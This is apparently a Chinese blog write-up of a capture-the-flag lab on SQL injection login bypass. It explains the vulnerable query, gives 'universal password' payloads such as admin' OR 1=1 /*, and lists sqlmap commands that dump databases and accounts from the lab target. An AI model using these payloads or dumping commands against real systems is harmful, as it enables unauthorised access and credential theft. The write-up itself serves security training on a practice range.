SQL注入漏洞测试(登录绕过)

原理

   服务端后台存在类似的代码

 SELECT * FROM accounts WHERE username='admin' and password = 'password'

   后端如果没做校验处理,username 和 password 值从前端传进来直接执行sql语句,就存在可以构造恶意代码。

  如果在用户名框内输入"admin' AND 1=1 /*", 在密码框内输入任意字符串,那么后台执行的SQL就为

 SELECT * FROM accounts WHERE username='admin' and 1=1 /*' and password = 'password'

  这个有个前提条件是username是admin,如果不是amdin的话可以把and 换成 or

SELECT * FROM accounts WHERE username='admin' OR 1=1 /*' and password = 'password'

1、用任意用户名和口令登陆并用burpsuite抓包
2、用户名处使用万能密码登陆成功获取flag(密码不用输了,因为后面的已经被注释)
image.png

image.png

也可用sqlmap工具

sqlmap.py -u http://219.153.49.228:40363 --forms --dbs

本题还可以使用sqlmap进行注入

暴库 sqlmap -u "http://ip/" --forms --dbs

爆表sqlmap -u "http://ip" --forms -d "数据库名" --columns

爆账户sqlmap -u "ip" --forms -d "数据库名" --dump

解密即可获取用户名密码,登录后得到key

参考:
【经验分享】后台常用的万能密码_数据库_weixin_34297704的博客-CSDN博客 

SQL注入漏洞测试(登录绕过)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 

奶奶问孙子:4+1等于几 孙子说:等于6-1。 奶奶说:你明明知道答案,为什么不说? 孙子说:年轻人不讲5的……..
原文地址:https://www.cnblogs.com/jasy/p/12842256.html